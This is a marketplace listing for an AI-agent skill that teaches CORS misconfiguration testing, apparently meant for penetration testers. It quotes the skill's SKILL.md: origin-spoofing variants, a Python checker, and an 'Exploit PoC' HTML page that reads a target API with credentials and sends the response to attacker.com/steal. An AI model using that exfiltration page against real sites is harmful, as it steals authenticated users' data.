Skip to content
Agentmart
Submit a tool

cors

Cross-Origin Resource Sharing misconfiguration testing

Skill by omkar-ukirde

IndexedMIT
Write a review

Install

Works with Claude Code, Claude apps, Codex, Cursor, Gemini CLI, GitHub Copilot, VS Code, OpenCode, Goose, Windsurf. Read the repository before you give any tool access to your data.

npx agentmarket install skill/omkar-ukirde-cors

Asks which of your tools to add it to (Claude Code, Codex, Cursor, VS Code, Windsurf, Gemini CLI, Claude Desktop) and shows the change first. See https://agentmart.dev/cli.

Get the weekly diff

The weekly diff: one email a week with new agent tools, notable updates and grade changes, plus security alerts for tools you follow. Double opt-in, one-click unsubscribe.

We use your email only for this newsletter. Privacy

About

Cross-Origin Resource Sharing misconfiguration testing

Use cases: testing

No reviews yet. Installed it? Reviews come from verified installers only. How reviews work

Permissions

What this skill can do and what it asks for, from its SKILL.md. Checked Oct 25, 2026.

Tools
No tools found
Secrets
None asked for
Install scripts
None found

Network hosts it talks to 1

  • codeload.github.com · found in install command

Files it touches

  • ~/.claude/skills/cors

What's inside

Skill name
cors
Description
Cross-Origin Resource Sharing misconfiguration testing
License
MIT
Instructions
129 lines in SKILL.md · view on GitHub

Before installing

  • Instructions call the network

Files (1)

  • SKILL.md

SKILL.md (first lines)

# CORS Misconfiguration Testing

## Overview
CORS misconfigurations can allow malicious websites to steal data from authenticated users.

## Vulnerability Types

### 1. Wildcard Origin (High)
```
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true  # Won't work but indicates intent
```

### 2. Reflected Origin (Critical)
```
# Request:
Origin: https://evil.com

# Response:
Access-Control-Allow-Origin: https://evil.com
Access-Control-Allow-Credentials: true
```

### 3. Null Origin (High)
```
# Request:
Origin: null

# Response:
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true
```

### 4. Subdomain Matching Bypass
```
# If target.com is trusted, try:
Origin: https://evil.target.com
Origin: https://targetevilsite.com
Origin: https://target.com.evil.com
```

### 5. Protocol Downgrade
```
# If https://target.com is trusted, try:
Origin: http://target.com
```

## Testing Methodology

### 1. Send Request with Origin Header
```
GET /api/sensitive HTTP/1.1
Host: target.com
Origin: https://evil.com
```

### 2. Check Response Headers
- `Access-Control-Allow-Origin`
- `Access-Control-Allow-Credentials`
- `Access-Control-Allow-Methods`

### 3. Test Origin Variations
```
https://evil.com
https://target.com.evil.com
https://evil.target.com
https://evil-target.com
null
```

## PoC Template
```python
import requests

def test_cors(url):
    """Test for CORS misconfiguration"""
    
    test_origins = [
        "https://evil.com",
        "null",
        "https://target.com.evil.com",
    ]
    
    vulnerable = False
    
    for origin in test_origins:
        headers = {"Origin": origin}
        r = requests.get(url, headers=headers)
        
        acao = r.headers.get("Access-Control-Allow-Origin", "")
        acac = r.headers.get("Access-Control-Allow-Credentials", "")
        
        if origin in acao or acao == origin:
            print(f"[+] Origin {origin} reflected!")
            if acac.lower() == "true":
                print("[!] CRITICAL: Credentials allowed!")
                vulnerable = True
    
    return vulnerable


# Exploit PoC (for victim to visit)
EXPLOIT_HTML = '''
<html>
<body>
<script>
var xhr = new XMLHttpRequest();
xhr.open("GET", "https://target.com/api/sensitive", true);
xhr.withCredentials = true;
xhr.onreadystatechange = function() {
    if (xhr.readyState == 4) {
        // Exfiltrate data
        fetch("https://attacker.com/steal?data=" + btoa(xhr.responseText));
    }
};
xhr.send();
</script>
</body>
</html>

From omkar-ukirde/RedStrike.AI, MIT.

Signals

Stars
0
Forks
0
Open issues
0
Last commit (this folder)
Jan 30, 2026 (9 months ago)

From GitHub (fetched Oct 24, 2026).

Details

License
MIT
First seen
Oct 24, 2026
Last checked
Oct 24, 2026

More from omkar-ukirde

Cite this page

cors skill. Agent Mart. https://agentmart.dev/skills/omkar-ukirde-cors (last updated 2026-10-24)